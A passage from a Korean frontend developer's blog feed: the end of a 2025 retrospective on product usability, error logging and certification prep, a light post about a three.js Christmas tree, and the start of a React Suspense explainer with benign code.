“잘했다”고 평가해줬다는 사실이었어요.</p>
</blockquote>
<hr>
<h3 id="아-나-방향은-맞구나">“아… 나, 방향은 맞구나”</h3>
<p>10월은 계속해서 부족함을 느끼고,</p>
<p>자존심도 많이 흔들렸던 달이었는데,</p>
<p>이 작은 인정 하나가 제 마음을 꽤 단단하게 잡아줬습니다.</p>
<blockquote>
<p>“아, 내가 완벽하진 않아도</p>
<p>헛되게 가고 있는 건 아니구나.”</p>
</blockquote>
<p>그래서 그때 처음으로</p>
<p>이런 생각이 들었어요.</p>
<blockquote>
<p>“앞으로도 그냥, 꾸준히만 하자.”</p>
</blockquote>
<p>조급해하지 말고,</p>
<p>비교하지 말고,</p>
<p>지금처럼 계속 쌓아가면 된다고.</p>
<p>10월은</p>
<p>힘들고, 아프고, 많이 반성했던 달이었지만</p>
<p>동시에 <strong>처음으로 ‘외부에서의 인정’을 받은 달</strong>이기도 했습니다.</p>
<ul>
<li>구조의 중요성을 몸으로 배웠고</li>
<li>“프론트엔드라서”라는 변명을 내려놓았고</li>
<li>그리고, 내가 잘 가고 있다는 신호도 받았습니다.</li>
</ul>
<p>그래서 10월을 한 문장으로 정리하자면 이거예요.</p>
<blockquote>
<p>“아직 부족하지만,
그래도 계속 가도 되겠다고 느낀 달.”</p>
</blockquote>
<h2 id="🧪11월--시제품-이후-그리고-제품은-개발자-뜻대로-쓰이지-않는다">🧪11월 — 시제품 이후, 그리고 “제품은 개발자 뜻대로 쓰이지 않는다”</h2>
<p>11월은 제가 처음으로</p>
<p><strong>‘이제 이건 팔만한 제품용이 아니다.’</strong>라는 말을</p>
<p>몸으로 실감한 달이었습니다.</p>
<p>10월까지는 “그래도 아직 내부용이지” “시연 단계니까 괜찮겠지”</p>
<p>라는 마음이 아주 조금은 남아 있었는데,</p>
<p>11월에 들어서면서 그 여지는 완전히 사라졌어요.</p>
<h3 id="시제품-다음-단계는-생각보다-훨씬-어려웠다">시제품 다음 단계는, 생각보다 훨씬 어려웠다</h3>
<p>11월부터는 명확하게 기준이 바뀌었습니다.</p>
<blockquote>
<p>“이건 나중에 시장에 나가도 되는 기능인가?”</p>
</blockquote>
<p>이 질문이 모든 개발의 출발점이 됐어요.</p>
<p>그리고 솔직히 말하면,</p>
<p><strong>시제품보다 이 단계가 훨씬 더 어려웠습니다.</strong></p>
<p>시제품 단계에서는 조금 불편해도, 조금 투박해도,</p>
<p>“컨셉은 보여줬잖아”로 넘어갈 수 있었거든요.</p>
<p>근데 제품은 아니었습니다.</p>
<ul>
<li>한 번 더 눌러야 하는 버튼</li>
<li>헷갈리는 용어 하나</li>
<li>설명 없는 화면 전환</li>
</ul>
<p>이 모든 게</p>
<p><strong>바로 ‘문제’</strong>가 됐어요.</p>
<h3 id="기술-시연-그리고-예상-못-한-장면들">기술 시연, 그리고 예상 못 한 장면들</h3>
<p>11월에는 인천으로 기술 시연도 진행했습니다.</p>
<p>이 시연에서 제가 가장 크게 충격받은 장면이 하나 있어요.</p>
<p>그냥, 정말 그냥</p>
<p><strong>‘닫기 버튼’을 하나 추가해준 기능</strong>이 있었거든요.</p>
<p>개발자 입장에서는 “있으면 편하겠지” 정도의 버튼이었는데,</p>
<p>사용자는 그 버튼을 눌러서</p>
<p><strong>아예 다음 단계를 진행하지 않고 그대로 종료</strong>해버렸습니다.</p>
<p>그 장면을 보는 순간</p>
<p>머릿속이 잠깐 멈췄어요.</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/eebf656e-6736-40cf-92a3-0b37ea95dae2/image.png" alt=""></p>
<blockquote>
<p>“어… 아니… 그게 그 용도가 아닌데…”</p>
</blockquote>
<h3 id="사용자는-항상-가장-쉬운-탈출구를-찾는다">사용자는 항상 ‘가장 쉬운 탈출구’를 찾는다</h3>
<p>그 시연을 계기로 확실히 깨달은 게 있습니다.</p>
<blockquote>
<p>사용자는
우리가 의도한 흐름을 따르지 않는다.사용자는
가장 쉬운 길을 선택한다.</p>
</blockquote>
<p>개발자 입장에서는 “이건 중간에 나가면 안 되는 단계”였지만,</p>
<p>사용자 입장에서는 “지금 안 해도 되는 것”이었던 거죠.</p>
<p>이걸 보고 나서</p>
<p>선택지에 대한 기준이 완전히 바뀌었습니다.</p>
<ul>
<li>정말 필요한 선택인가?</li>
<li>사용자가 도망가도 괜찮은 지점인가?</li>
<li>아니면 반드시 안내하고 붙잡아야 하는 단계인가?</li>
</ul>
<p>이걸 하나하나 다시 정의하기 시작했어요.</p>
<h3 id="자유는-안내-없이는-독이-된다">자유는 안내 없이는 독이 된다</h3>
<p>11월에 가장 크게 바뀐 제 생각은 이거였습니다.</p>
<blockquote>
<p>“사용자에게 선택지를 많이 주는 게
항상 좋은 건 아니다.”</p>
</blockquote>
<p>우리는 “선택이 많으면 좋겠지”라고 생각했지만,</p>
<p>실제 사용자는 선택이 많을수록 더 불안해했습니다.</p>
<p>특히 보안 제품이라는 특성 때문에</p>
<p>사용자 입장에서는</p>
<ul>
<li>한 번의 실수가</li>
<li>큰 문제로 이어질 것처럼 느껴졌고</li>
<li>그래서 아예 아무것도 안 하게 되는 경우도 많았어요.</li>
</ul>
<p>그때 깨달았습니다.</p>
<blockquote>
<p>사용자성은 편의성이 아니라,
‘안심시키는 설계’라는 걸요.</p>
</blockquote>
<h3 id="11월이-남긴-가장-큰-깨달음">11월이 남긴 가장 큰 깨달음</h3>
<p>11월을 지나고 나서 제 머릿속에 남은 문장은 이거였습니다.</p>
<blockquote>
<p>“제품은 개발자가 만드는 게 아니라,
사용자가 완성한다.”</p>
</blockquote>
<p>아무리 구조가 좋아도, 아무리 코드가 깔끔해도,</p>
<p>사용자가 이해하지 못하면 그건 아직 제품이 아니었습니다.</p>
<p>11월은 이 사실을 가장 정직하게 마주한 달이었어요.</p>
<h2 id="🔐-12월--안정성-로그-그리고-사용자보다-먼저-고치는-사람">🔐 12월 — 안정성, 로그, 그리고 “사용자보다 먼저 고치는 사람”</h2>
<p>12월은 화려하지 않았고, 눈에 띄는 새 기능도 많지 않았지만,</p>
<p>지금 돌이켜보면</p>
<p><strong>하반기에서 가장 중요한 걸 만든 달</strong>이었습니다.</p>
<p>11월까지 사용자성과 제품의 무게를 배웠다면,</p>
<p>12월은 그걸 <strong>‘지속 가능한 상태’로 만드는 달</strong>이었어요.</p>
<h3 id="보안기능-인증시험-그리고-현실의-시작">보안기능 인증시험, 그리고 현실의 시작</h3>
<p>12월의 시작은 <strong>보안기능 인증시험 준비</strong>였습니다.</p>
<p>이건 단순히 “기능이 있다”를 증명하는 시험이 아니었어요.</p>
<ul>
<li>실제 환경에서도 안정적인지</li>
<li>예상 못 한 상황에서도 버티는지</li>
<li>문제가 생기면 추적 가능한지</li>
</ul>
<p>이걸 전부 보여줘야 했습니다.</p>
<p>그리고 이 과정에서 그동안 모르고 지나쳤던 사실 하나를 뒤늦게 알게 됐어요.</p>
<h3 id="os가-다르면-에러도-다르다">OS가 다르면, 에러도 다르다</h3>
<p>이미 나간 기능들에서 OS별로 전혀 다른 에러가 발생하고 있다는 걸</p>
<p>12월에 와서야 명확하게 인지했습니다.</p>
<p>그게 정말 무서웠던 이유는 이거였어요.</p>
<blockquote>
<p>에러는 있었는데,
우리는 그걸 모르고 있었다.</p>
</blockquote>
<p>사용자는 그냥 “뭔가 이상한데?” 하고 넘어가거나,</p>
<p>아예 말을 안 했을 수도 있고,</p>
<p>우리는 “잘 돌아가겠지”라고 생각하고 있었던 거죠.</p>
<p>이걸 깨달은 순간, 등골이 살짝 서늘해졌습니다.</p>
<h3 id="로그가-없으면-아무것도-아니다">로그가 없으면, 아무것도 아니다</h3>
<p>그래서 방향을 완전히 바꿨습니다. </p>
<p>12월의 키워드는 <strong>로그</strong>였습니다.</p>
<ul>
<li>모든 에러를 파일로 남기고</li>
<li>그 로그를 자동으로 서버로 수집하고</li>
<li>원격에서 바로 확인할 수 있도록</li>
</ul>
<p>에러를 <strong>‘기록되지 않는 사고’</strong>가 아니라</p>
<p><strong>‘관리 가능한 이벤트’</strong>로 바꾸는 작업이었어요.</p>
<p>Redis를 도입해서</p>
<p>에러 상태를 빠르게 확인할 수 있게 만들었고,</p>
<p>이제는</p>
<ul>
<li>언제</li>
<li>어떤 환경에서</li>
<li>어떤 에러가</li>
<li>어떤 흐름에서 났는지</li>
</ul>
<p>를 한 번에 볼 수 있는 구조를 만들었습니다.</p>
<h3 id="안정성이란-에러가-없는-상태가-아니었다">안정성이란, 에러가 없는 상태가 아니었다</h3>
<p>12월을 지나며 제가 완전히 바뀐 생각이 하나 있습니다.</p>
<p>이전엔 “안정적이다”라는 말을</p>
<p>에러가 없는 상태라고 생각했어요.</p>
<p>근데 아니었습니다.</p>
<blockquote>
<p>안정성이란
에러를 빨리 알아차리고,
빨리 고칠 수 있는 상태였습니다.</p>
</blockquote>
<p>이미 자동 업데이트 기능을 넣어둔 덕분에,</p>
<ul>
<li>에러를 발견하고</li>
<li>수정하고</li>
<li>사용자 개입 없이 배포하는 흐름을</li>
</ul>
<p>꽤 빠르게 만들 수 있었어요.</p>
<p>그때 처음으로 이런 생각이 들었습니다.</p>
<blockquote>
<p>“아… 이 정도면</p>
<p>그래도 사용자한테 미안하지는 않다.”</p>
</blockquote>
<h3 id="그리고-정말-오랜만에-나를-위한-개발">그리고, 정말 오랜만에 나를 위한 개발</h3>
<p>12월 내내 회사 일에 치여 살다 보니</p>
<p>사이드 프로젝트는 거의 손도 못 댔는데,</p>
<p>연말에 딱 하나 꺼낸 게 있었습니다.</p>
<p><strong>3D 크리스마스 트리.</strong></p>
<p>three.js로 만들었고, GPU를 살살 녹이면서</p>
<p>불빛이 반짝이는 트리를 만들었어요.</p>
<p>이 프로젝트는 완성도를 따지기보단,</p>
<blockquote>
<p>“아, 나 아직 개발 좋아하네.”</p>
</blockquote>
<p>이 감정을</p>
<p>다시 확인하기 위한 작업이었습니다.</p>
<p>사실 이 시점엔 체력도, 멘탈도 꽤 바닥이었어요.</p>
<p>그래도 전구가 반짝이는 걸 보면서</p>
<ul>
<li>내가 만든 게 눈앞에서 움직이고</li>
<li>코드가 실제 화면이 되고</li>
<li>‘재밌다’는 감정이 다시 올라오는 순간</li>
</ul>
<p>그게 참 좋았습니다.</p>
<p>개발을 좋아해서 시작했는데,</p>
<p>중간에 그 이유를 잠깐 잊고 있었구나 싶었어요.</p>
<blockquote>
<p>크리스마스 트리 구경하러가기 
<a href="https://velog.io/@songyeonji_/%EA%B0%9C%EB%B0%9C%EC%9E%90%EB%9D%BC%EB%A9%B4-%ED%81%AC%EB%A6%AC%EC%8A%A4%EB%A7%88%EC%8A%A4-%ED%8A%B8%EB%A6%AC%EB%B6%80%ED%84%B0-%EB%A7%8C%EB%93%A4%EA%B3%A0-%EC%8B%9C%EC%9E%91%ED%95%B4%EC%95%BC-%ED%95%98%EB%8A%94-%EA%B1%B0-%EC%95%84%EB%8B%99%EB%8B%88%EA%B9%8C">3D 크리스 마스 트리 회고록 보러가기</a></p>
</blockquote>
<h2 id="🌙-2025년-하반기를-닫으며">🌙 2025년 하반기를 닫으며</h2>
<p>2025년 하반기는</p>
<p>솔직히 말해서 정말 많이 무너지고, 많이 지치고, 많이 배웠던 시간이었습니다.</p>
<p>단위 테스트로 안심했던 코드들은 통합 테스트에서 깨졌고,</p>
<p>구조를 미뤄둔 대가는 일정과 멘탈로 돌아왔고,</p>
<p>“개발자끼리는 알겠지”라고 만든 기능들은 사용자 앞에서 전부 멈췄습니다.</p>
<p>그 과정 속에서 저는</p>
<p>코드를 잘 짜는 개발자가 아니라</p>
<p>끝까지 책임지는 개발자가 되어가고 있었다는 걸</p>
<p>뒤늦게 깨닫게 된 것 같아요.</p>
<p>혼자 야근하면서 좌절하던 순간도 많았지만,</p>
<p>회사 분들의 응원과 믿음,</p>
<p>특히 상사분들이 늘 이뻐해주시고 격려해주신 덕분에
<img src="https://velog.velcdn.com/images/songyeonji_/post/fafb7876-5371-4c34-9777-286e849e0e3a/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/76a71eb8-f252-46a7-8fae-2943c21e0cd0/image.png" alt=""></p>
<p>끝까지 버틸 수 있었습니다.</p>
<p>그래서 이 하반기는</p>
<p>힘들었던 기억보다도</p>
<p>“그래도 나는 계속 가고 있구나”라는 감정으로 남아 있습니다.</p>
<p>Electron을 통해</p>
<p>웹 밖의 세계를 처음 경험했고,</p>
<p>솔루션과 시스템을 만드는 재미를 알게 되었고,</p>
<p>그래서 더 넓은 개발 영역에도 욕심이 생겼습니다.</p>
<p>2026년에는</p>
<p>three.js를 제대로 공부해보고 싶고,</p>
<p>vue.js도 깊게 다뤄보고 싶고,</p>
<p>언젠가는 로봇과 같은 하드웨어와 맞닿은 개발에도 도전해보고 싶습니다.</p>
<p>아직은 부족한 게 너무 많지만,</p>
<p>올해를 지나며 확실히 느낀 건 하나예요.</p>
<blockquote>
<p>개발자는 무너지면서 자라고,</p>
<p>버틴 만큼 결국 다음 단계로 나아간다.</p>
</blockquote>
<p>그래서 저는 내년에도</p>
<p>겁먹지 않고, 미루지 않고,</p>
<p>계속 배우고 실험하면서 나아가 보려고 합니다.</p>
<p>프론트엔드 개발자 송연지,</p>
<p>2026년에도 성장 중으로 살아가겠습니다. 🚀💙</p>
<hr>
<p>마지막으로 이 긴 하반기 회고를</p>
<p>여기까지 읽어주신 분들께 진심으로 감사드립니다.</p>
<p>저는 여전히 느리고, 부족하고,</p>
<p>남들보다 돌아가고 있다는 느낌을 받을 때도 많지만</p>
<p>그래도 올해를 지나면서 한 가지는 확실히 믿게 됐어요.</p>
<blockquote>
<p>속도는 늦을 수 있어도</p>
<p>방향만큼은 맞는 개발자로 가고 싶다.</p>
</blockquote>
<p>빠르게 성장하는 개발자도 멋있지만,</p>
<p>저는 실수하더라도 배우고,</p>
<p>무너지더라도 기록하고,</p>
<p>결국엔 단단해지는 개발자가 되고 싶습니다.</p>
<p>혹시 이 글을 읽고 있는 누군가도</p>
<p>지금 느리다고 느껴지거나, 비교 때문에 힘들다면</p>
<p>우리 그냥 이렇게 말했으면 좋겠어요.</p>
<p>“늦어도 괜찮다. 멈추지만 않으면 된다.”</p>
<p>개발자는 결국</p>
<p>계속 배우는 사람이 이긴다고 저는 믿습니다.</p>
<p>그래서 저는 내년에도 계속 배우고, 도전하고, 버틸 거고</p>
<p>이 글을 읽는 모든 개발자 분들도</p>
<p>각자의 자리에서 원하는 방향으로 끝까지 나아가시길</p>
<p>진심으로 응원합니다.</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/094eb15a-d3e9-462d-bc22-def20c917192/image.png" alt=""></p>
<p>우리 모두 2026년도 화이팅입니다. 🚀💙!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🎄 개발자라면 크리스마스 트리부터 만들고 시작해야 하는 거 아닙니까]]></title>
            <link>https://velog.io/@songyeonji_/%EA%B0%9C%EB%B0%9C%EC%9E%90%EB%9D%BC%EB%A9%B4-%ED%81%AC%EB%A6%AC%EC%8A%A4%EB%A7%88%EC%8A%A4-%ED%8A%B8%EB%A6%AC%EB%B6%80%ED%84%B0-%EB%A7%8C%EB%93%A4%EA%B3%A0-%EC%8B%9C%EC%9E%91%ED%95%B4%EC%95%BC-%ED%95%98%EB%8A%94-%EA%B1%B0-%EC%95%84%EB%8B%99%EB%8B%88%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%EA%B0%9C%EB%B0%9C%EC%9E%90%EB%9D%BC%EB%A9%B4-%ED%81%AC%EB%A6%AC%EC%8A%A4%EB%A7%88%EC%8A%A4-%ED%8A%B8%EB%A6%AC%EB%B6%80%ED%84%B0-%EB%A7%8C%EB%93%A4%EA%B3%A0-%EC%8B%9C%EC%9E%91%ED%95%B4%EC%95%BC-%ED%95%98%EB%8A%94-%EA%B1%B0-%EC%95%84%EB%8B%99%EB%8B%88%EA%B9%8C</guid>
            <pubDate>Wed, 24 Dec 2025 13:51:14 GMT</pubDate>
            <description><![CDATA[<h3 id="🎅산타-할아버지-저는-선물로-행복한-71억-주세요-기억말고-71억이요">🎅산타 할아버지, 저는 선물로 행복한 71억 주세요. 기억말고 71억이요,,,</h3>
<p>크리스마스가 오면 사람들은 트리를 꺼내고,</p>
<p>개발자는 콘솔을 켭니다.</p>
<p>그리고 이렇게 생각합니다.</p>
<blockquote>
<p>“별 찍고 공백 맞추는 트리…</p>
<p>나도 한 번쯤은 만들어봤지.”</p>
</blockquote>
<pre><code>    *
   ***
  *****
 *******
*********
</code></pre><p>이 트리의 문제점은 명확합니다.</p>
<p><strong>재미가 없습니다.</strong></p>
<p>너무 빨리 끝납니다.</p>
<p>그리고 GPU가 전혀 아프지 않습니다.</p>
<p>그래서 문제가 됩니다.</p>
<hr>
<h2 id="🎅--이-정도로는-만족하지-못합니다">🎅  이 정도로는 만족하지 못합니다</h2>
<p>문득 이런 생각이 들었습니다.</p>
<blockquote>
<p>“three.js를 아직 안 써봤는데</p>
<p>이걸 크리스마스까지 미루면 영영 안 쓰는 거 아닐까?”</p>
</blockquote>
<p>공부 목적으로 시작하기엔 귀찮고,</p>
<p>사이드 프로젝트로 하기엔 애매한데</p>
<p>마침 트리가 있었습니다.</p>
<p>그래서 결론은 간단했습니다.</p>
<blockquote>
<p>트리를 3D로 만들자.
느리면 느린 대로 두자.</p>
</blockquote>
<hr>
<h2 id="🌲-그래서-나온-결과물">🌲 그래서 나온 결과물</h2>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/94c0440d-5251-40e9-940e-ddc08a0d285e/image.png" alt=""></p>
<p>👉 <a href="https://3-d-christmas-tree.vercel.app/?utm_source=chatgpt.com">https://3-d-christmas-tree.vercel.app/</a></p>
<ul>
<li>마우스로 돌릴 수 있고</li>
<li>전구가 깜빡이고</li>
<li>눈이 내리고</li>
<li>설정 패널까지 있습니다</li>
</ul>
<p>그리고 제일 중요한 특징 하나.</p>
<blockquote>
<p>컴퓨터가 크리스마스를 함께 느낍니다. (팬 소리)</p>
</blockquote>
<hr>
<h2 id="🧩-기술-얘기">🧩 기술 얘기</h2>
<p>이번 트리는</p>
<p>Next.js 위에 React Three Fiber를 얹어서 만들었습니다.</p>
<p>three.js를 직접 쓰기엔 연말이었고,</p>
<p>그래서 React스럽게:</p>
<ul>
<li><code>group</code>으로 장식들을 묶고</li>
<li><code>useFrame</code>으로 전부 움직이게 만들고</li>
<li>전구는 배열로 쭉 만들었습니다</li>
</ul>
<p>전구 깜빡임은 사실 굉장히 단순합니다.</p>
<pre><code class="language-tsx">Math.sin(time + offset)
</code></pre>
<p>하지만 이 한 줄 덕분에</p>
<p>전구들이 <strong>“나 각자 살아있다”</strong>는 태도를 보입니다.</p>
<hr>
<h2 id="🎛️-괜히-만들어본-설정-패널">🎛️ 괜히 만들어본 설정 패널</h2>
<p>전구 개수, 속도, 눈 내림 여부, 자동 회전.</p>
<p>없어도 되는데</p>
<p><strong>있으면 더 만지고 싶어집니다.</strong></p>
<p>이걸 만들면서 느낀 점은 하나였습니다.</p>
<blockquote>
<p>설정 패널은 기능보다</p>
<p><strong>괜히 있는 게 더 중요하다.</strong></p>
</blockquote>
<hr>
<h2 id="🐢-최적화는요-안-했습니다">🐢 최적화는요? 안 했습니다</h2>
<p>왜냐하면</p>
<p>이 트리는 실무용이 아니라</p>
<p><strong>연말 감성용</strong>이기 때문입니다.</p>
<ul>
<li>전구 많음</li>
<li>라이트 많음</li>
<li>눈 계속 떨어짐</li>
</ul>
<p>그래서:</p>
<ul>
<li>노트북이 따뜻해지고</li>
<li>팬이 돌고</li>
<li>크리스마스 분위기는 최고입니다</li>
</ul>
<p>🎄 <strong>성능을 희생하여 연말을 얻었습니다.</strong></p>
<hr>
<h2 id="🎁-이-프로젝트의-진짜-목적">🎁 이 프로젝트의 진짜 목적</h2>
<p>이 트리는</p>
<p>잘 만든 트리가 아닙니다.</p>
<p>하지만:</p>
<ul>
<li>만들면서 재밌었고</li>
<li>three.js를 “써봤다”는 기록이 남았고</li>
<li>내년에 또 트리를 만들 핑계가 생겼습니다</li>
</ul>
<p>그럼 이걸로 충분하지 않겠습니까.</p>
<hr>
<h2 id="✨-마무리">✨ 마무리</h2>
<p>개발자라면</p>
<p>별 한 번 찍고</p>
<p>공백 한 번 맞추고</p>
<p>결국엔 트리를 만들어야 합니다.</p>
<p>올해는 콘솔이 아니라</p>
<p>GPU로 만들었을 뿐입니다.</p>
<blockquote>
<p>메리 크리스마스입니다 🎄
그리고 개발자 여러분, 트리는 늘 옳습니다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[✨React Suspense는 왜 등장했을까?]]></title>
            <link>https://velog.io/@songyeonji_/React-Suspense%EB%8A%94-%EC%99%9C-%EB%93%B1%EC%9E%A5%ED%96%88%EC%9D%84%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/React-Suspense%EB%8A%94-%EC%99%9C-%EB%93%B1%EC%9E%A5%ED%96%88%EC%9D%84%EA%B9%8C</guid>
            <pubDate>Thu, 27 Nov 2025 03:01:58 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/8e96c38f-76b0-4137-a89d-4ad977be09dc/image.png" alt=""></p>
<p>— 비동기 때문에 흔들리던 UI를 React가 직접 통제하기 시작한 순간</p>
<p>프론트엔드 개발을 하다 보면 자연스럽게 하나의 고민이 생깁니다.</p>
<blockquote>
<p>“왜 로딩 UI가 이렇게 많지?”</p>
<p>“왜 페이지 이동할 때 깜빡이지?”</p>
<p>“데이터 패칭 실패하면 화면이 바로 죽는 이유가 뭘까?”</p>
<p>“컴포넌트마다 isLoading, error를 계속 만들어야 하는 게 맞는 걸까?”</p>
</blockquote>
<p>React는 분명 <strong>“UI를 선언적으로 그리는 라이브러리”</strong>인데,</p>
<p>정작 <strong>데이터 패칭·로딩·에러·코드 스플리팅</strong>처럼 실제 애플리케이션에 반드시 필요한 비동기 흐름은 React가 직접 관리하지 않았습니다.</p>
<p>그 결과 애플리케이션 구조는 점점 복잡해졌습니다.</p>
<ul>
<li>로딩 UI가 곳곳에 흩어지고</li>
<li>에러 처리 방식은 개발자마다 다르고</li>
<li>코드 스플리팅은 가능하지만 “대기 UI”는 직접 만들어야 하고</li>
<li>렌더링 중 깜빡임(Flash)이 생기고</li>
<li>데이터가 늦게 도착하면 빈 화면이 잠깐 노출되고…</li>
</ul>
<p>React 팀은 어느 순간 이렇게 결론을 내립니다.</p>
<blockquote>
<p>“비동기는 UI의 일부이므로, UI 프레임워크인 React가 이걸 직접 통제해야 한다.”</p>
</blockquote>
<p>그 결론의 첫 번째 산물이 바로 <strong>Suspense</strong>입니다.</p>
<p>그리고 나머지 기술들은 이 Suspense라는 개념을 중심으로 확장된 애들입니다.</p>
<p>이 글에서는 기술 이름만 나열하지 않고,</p>
<ul>
<li>✔ 왜 등장했는지 (발생 배경)</li>
<li>✔ 어떤 구조적 문제를 해결했는지 (개념)</li>
<li>✔ 내부적으로 어떻게 작동하는지 (메커니즘)</li>
<li>✔ 언제 쓰는지 (사용 시점 예시)</li>
</ul>
<p>이 네 가지 축으로 길게 정리해보겠습니다.</p>
<hr>
<h2 id="1-🎯-react의-근본적-한계-ui는-동기적이다라는-오래된-가정">1. 🎯 React의 근본적 한계: “UI는 동기적이다”라는 오래된 가정</h2>
<p>React는 초기에 <strong>“상태 → UI”</strong>라는 동기적 렌더링 모델을 기반으로 설계됐습니다.</p>
<p>즉, <strong>렌더링 시점에는 모든 데이터가 이미 존재한다</strong>고 가정한 거죠.</p>
<p>하지만 실제 애플리케이션은 다음처럼 비동기 투성이입니다.</p>
<ul>
<li>API에서 데이터 가져오기</li>
<li>Lazy 로딩된 컴포넌트 불러오기</li>
<li>사용자 인터랙션에 따른 추가 데이터 조회</li>
<li>SSR/CSR 간 데이터 교환</li>
<li>리소스 로딩(이미지, 폰트, 스크립트 등)</li>
</ul>
<p>이 비동기 흐름을 React는 “외부 상태”나 “사용자 정의 로직”으로 해결하게 만들었습니다.</p>
<p>그 때문에 애플리케이션 구조는 자연스럽게 이렇게 변해갔습니다.</p>
<ul>
<li>❌ 컴포넌트마다 <code>isLoading</code>, <code>error</code>를 도배</li>
<li>❌ 데이터 도착 전 UI가 잠깐 깨져 보임</li>
<li>❌ 코드 스플리팅했는데 로딩 UI는 직접 구현</li>
<li>❌ 에러 발생 시 화면 전체가 죽어버림</li>
<li>❌ 렌더링이 비동기로 인해 뒤틀리는 현상(깜빡임, 빈 화면)</li>
</ul>
<p>이건 React의 “버그”라기보다는,</p>
<p>애초에 React가 <strong>비동기를 렌더링 모델 안에 포함시키지 않았기 때문</strong>입니다.</p>
<p>그러니 React는 이런 질문을 하게 됩니다.</p>
<blockquote>
<p>“비동기를 UI 렌더링의 일부로 만들 수 없을까?”</p>
</blockquote>
<p>Suspense는 바로 그 질문에 대한 첫 번째 대답입니다.</p>
<hr>
<h2 id="2-🍱-reactlazy--코드-스플리팅을-react의-비동기로-만들다">2. 🍱 React.lazy — 코드 스플리팅을 “React의 비동기”로 만들다</h2>
<h3 id="2-1-코드-스플리팅의-등장-배경">2-1. 코드 스플리팅의 등장 배경</h3>
<p>프론트엔드 앱이 커지면서 JS 번들은 점점 커졌고,</p>
<p>SPA 특성상 <strong>안 쓰는 페이지 JS까지 처음에 다 들고 오는</strong> 문제가 생겼습니다.</p>
<p>그래서 Webpack / Vite 같은 도구가 코드 스플리팅을 제공하기 시작했죠.</p>
<p>하지만 이 상태에서는 이런 문제가 남아 있었습니다.</p>
<blockquote>
<p>“번들은 쪼개지는데, 그게 로딩 중인지 아닌지 React는 모른 척한다.”</p>
</blockquote>
<p>그래서 예전에는 이런 코드가 많았습니다.</p>
<pre><code class="language-tsx">// (예전에 흔히 보던 패턴 – 직접 상태 관리)
function LazySettingsWrapper() {
  const [Settings, setSettings] = React.useState&lt;React.ComponentType | null&gt;(null);

  React.useEffect(() =&gt; {
    import(&#39;./Settings&#39;).then(mod =&gt; {
      setSettings(() =&gt; mod.default);
    });
  }, []);

  if (!Settings) {
    return &lt;div&gt;설정 화면 불러오는 중...&lt;/div&gt;;
  }

  return &lt;Settings /&gt;;
}
</code></pre>
<ul>
<li>모듈 로딩 상태를 직접 관리해야 하고</li>
<li>로딩 UI도 매번 직접 짜야 하고</li>
<li>에러 처리도 따로 해야 합니다.</li>
</ul>
<p>React는 이걸 “React가 직접 지원해야 하는 영역”이라고 보고,</p>
<p><strong>React.lazy</strong>를 도입합니다.</p>
<pre><code class="language-tsx">const Settings = React.lazy(() =&gt; import(&#39;./Settings&#39;));
</code></pre>
<p>이 한 줄은 단순히 “동적 import”가 아닙니다.</p>
<blockquote>
<p>내부적으로는 렌더링 중에 Promise를 던지는 컴포넌트가 됩니다.</p>
</blockquote>
<p>즉, 렌더링 중에 이 컴포넌트를 만나면 흐름이 이렇게 바뀝니다.</p>
<blockquote>
<p>렌더링 → Promise throw → “대기 필요”</p>
</blockquote>
<p>근데 아직 React는 이 Promise를 받을 줄 모릅니다.</p>
<p>이 Promise를 받아서, “잠깐 이 UI 대신 다른 걸 보여주자”를 처리해주는 애가 바로 <strong>Suspense</strong>입니다.</p>
<h3 id="2-2-reactlazy--suspense-기본-사용-예시">2-2. React.lazy + Suspense 기본 사용 예시</h3>
<pre><code class="language-tsx">import React, { Suspense } from &#39;react&#39;;

const SettingsPage = React.lazy(() =&gt; import(&#39;./SettingsPage&#39;));

export function App() {
  return (
    &lt;Suspense fallback={&lt;div&gt;설정 화면 불러오는 중...&lt;/div&gt;}&gt;
      &lt;SettingsPage /&gt;
    &lt;/Suspense&gt;
  );
}
</code></pre>
<ul>
<li><code>SettingsPage</code>는 아직 안 받아온 상태일 수 있고</li>
<li>그 동안 Suspense가 <code>fallback</code>을 렌더링해줍니다.</li>
</ul>
<blockquote>
<p>여기서 이미 “비동기 로딩을 UI 렌더링의 일부로 넣는다”는 개념이 시작됩니다.</p>
</blockquote>
<hr>
<h2 id="3-🎬-suspense--렌더링-중-비동기-대기를-정식-기능으로-넣은-기술">3. 🎬 Suspense — 렌더링 중 비동기 “대기”를 정식 기능으로 넣은 기술</h2>
<p>Suspense를 잘 모르면 흔히 이렇게 생각하기 쉽습니다.</p>
<blockquote>
<p>“아, 로딩 스피너 보여주는 컴포넌트지?”</p>
</blockquote>
<p>절반은 맞고, 절반은 틀렸습니다.</p>
<p>Suspense의 본질은 <strong>“렌더링 중 발생한 비동기를 React가 직접 처리하는 것”</strong>입니다.</p>
<h3 id="3-1-suspense는-dom을-어떻게-다룰까">3-1. Suspense는 DOM을 어떻게 다룰까?</h3>
<p>중요한 포인트는 이겁니다.</p>
<blockquote>
<p>Suspense는 DOM을 직접 조작하지 않고,</p>
<p><strong>“렌더링 과정을 제어”</strong>합니다.</p>
</blockquote>
<p>대략적인 흐름은 이렇습니다.</p>
<ol>
<li>Suspense 아래에 있는 컴포넌트가 <code>Promise</code>를 던짐<ul>
<li>예) <code>React.lazy</code>, React Query <code>suspense: true</code>, 커스텀 리소스 래퍼 등</li>
</ul>
</li>
<li>React는 지금 진행 중인 렌더링을 <strong>중단</strong>함</li>
<li><strong>가장 가까운 <code>Suspense</code> Boundary</strong>를 찾음</li>
<li>그 Boundary에 정의된 <code>fallback</code> UI를 대신 렌더링</li>
<li><code>Promise</code>가 resolve되면<ul>
<li>React가 다시 원래 렌더링을 이어서 수행</li>
<li>기존 <code>fallback</code> DOM은 사라지고, 실제 UI로 자연스럽게 교체</li>
</ul>
</li>
</ol>
<p>즉, <strong>“fallback → 실제 UI”</strong>로 부드럽게 전환되는 전체 과정을</p>
<p>React 렌더링 엔진이 직접 관리하게 됩니다.</p>
